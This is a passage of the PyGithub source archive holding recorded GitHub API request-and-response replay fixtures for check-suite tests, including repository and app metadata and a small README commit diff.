{"id":1004503837,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzODM3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2020-08-04T05:06:54Z","updated_at":"2020-08-04T05:07:40Z","latest_check_runs_count":2,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503837/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"rerequestable": true, "runs_rerequestable": true,"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}} https GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 20:31:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"27e35b5ca8cc0dc13e0cc6ee5f221608689477b3d6e2798a0143c4e11f1c95d9"'), ('Last-Modified', 'Tue, 04 Aug 2020 05:06:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '15'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D597:2E6F:933FF:C470E:5FC16234')] {"sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","node_id":"MDY6Q29tbWl0MjgzOTYzMTYyOmZkMDlkOTM0YmNjZTc5MjE3NmQ2Yjc5ZDZkMDM4N2U5MzhiNjJiN2E=","commit":{"author":{"name":"Mahesh Raju","email":"coder@mahesh.net","date":"2020-08-04T05:06:50Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-08-04T05:06:50Z"},"message":"Update README.md","tree":{"sha":"ece026d8b3d79448ead6e7a2e2919dea8057db38","url":"https://api.github.com/repos/wrecker/PySample/git/trees/ece026d8b3d79448ead6e7a2e2919dea8057db38"},"url":"https://api.github.com/repos/wrecker/PySample/git/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfKOzqCRBK7hj4Ov3rIwAAdHIIADIXKi6bQYeoknS7ohOY6xzG\nreYd/WpX946O/V5epCHra1GNSqIn6DAvzFXAsTW0CdkYN6R2fLkzYjY7bYSPs+m8\nk8CwF0Rww68Cyn/roOf9iiURyBJAIv3JV3vL8faM6/wxPRDRlXtJ1YvEouALNK08\nenJc1nZ4XYh5zG0RDT/FlGZ2XWYH5o+V3jti/7fkouBtH3MdcGGLYFRLGj+oiSZA\n7URgdF/0VCZihKz5rQJSWNyBcXDLLPRKz+9G27x16KbUo2fom6gAjV7sf363tt2f\nonZ/7M2317OsudWMEN1WMKPRGnYzOu3qaEQQDJiMUzQM+uv25D2ObmUCWHKX75o=\n=yRoa\n-----END PGP SIGNATURE-----\n","payload":"tree ece026d8b3d79448ead6e7a2e2919dea8057db38\nparent 9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283\nauthor Mahesh Raju 1596517610 -0700\ncommitter GitHub 1596517610 -0700\n\nUpdate README.md"}},"url":"https://api.github.com/repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a","html_url":"https://github.com/wrecker/PySample/commit/fd09d934bcce792176d6b79d6d0387e938b62b7a","comments_url":"https://api.github.com/repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/comments","author":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","url":"https://api.github.com/repos/wrecker/PySample/commits/9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","html_url":"https://github.com/wrecker/PySample/commit/9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"6c5a820b8c43a34557374af480bd64dceb513b80","filename":"README.md","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/wrecker/PySample/blob/fd09d934bcce792176d6b79d6d0387e938b62b7a/README.md","raw_url":"https://github.com/wrecker/PySample/raw/fd09d934bcce792176d6b79d6d0387e938b62b7a/README.md","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/README.md?ref=fd09d934bcce792176d6b79d6d0387e938b62b7a","patch":"@@ -4,4 +4,4 @@ A sample python project with tests and tox.ini. I created this as a testbed whil\n developing some features for [PyGithub](https://github.com/PyGithub/PyGithub)\n \n ## TODOs\n-* Add moar Tests\n+* Add moar Tests!"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testCheckSuiteRerequest.txt0000644000175100001660000002725414756101563025606 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PySample/check-suites/1004503395 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 07:47:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1596962853'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"ac254b8039de356c97a4172e81b67d57"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8178:9A1D:23CDF:3BF94:5F2FAA15')] {"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an issue!](https://github.com/JasonEtco/prosebot/issues/new)\r\n","external_url":"https://github.com/JasonEtco/prosebot","html_url":"https://github.com/apps/prosebot","created_at":"2018-10-22T20:28:41Z","updated_at":"2018-10-23T18:40:32Z","permissions":{"checks":"write","contents":"read","pull_requests":"write"},"events":["check_run","check_suite","pull_request"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:55Z","latest_check_runs_count":3,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}} https POST api.github.com None /repos/wrecker/PySample/check-suites/1004503395/rerequest {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 201 [('Date', 'Sun, 09 Aug 2020 07:47:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1596962853'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"7aedf6d551d7c9a51ab427aecc33124a"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '817A:5947:6EF121:83E68E:5F2FAA16')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testCreateCheckSuite.txt0000644000175100001660000002107214756101563025022 0ustar00runnerdockerhttps POST api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"head_sha": "e5868bd5a9ccdd65c9c979250e11105f4c88faf4"} 201 [('Date', 'Fri, 27 Nov 2020 19:22:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '7105'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"db07237dd90e83739121142eb1f22d667d8797709ca7173208e72efa07587508"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '38'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D304:4BFF:9F81A:D35C4:5FC151F5')] {"id":1573185704,"node_id":"MDEwOkNoZWNrU3VpdGUxNTczMTg1NzA0","head_branch":"main","head_sha":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","status":"queued","conclusion":null,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704","before":"eec62326c82e9fb73a86395dd9f7cbb03cbb6ef7","after":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","pull_requests":[],"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"created_at":"2020-11-27T19:22:29Z","updated_at":"2020-11-27T19:22:29Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704/check-runs","head_commit":{"id":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","tree_id":"c03d123f8f5dbd1310dda8023d5e48f13fb00ddf","message":"Update README.md","timestamp":"2020-11-27T19:19:39Z","author":{"name":"Dhruv Manilawala","email":"dhruvmanila@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for 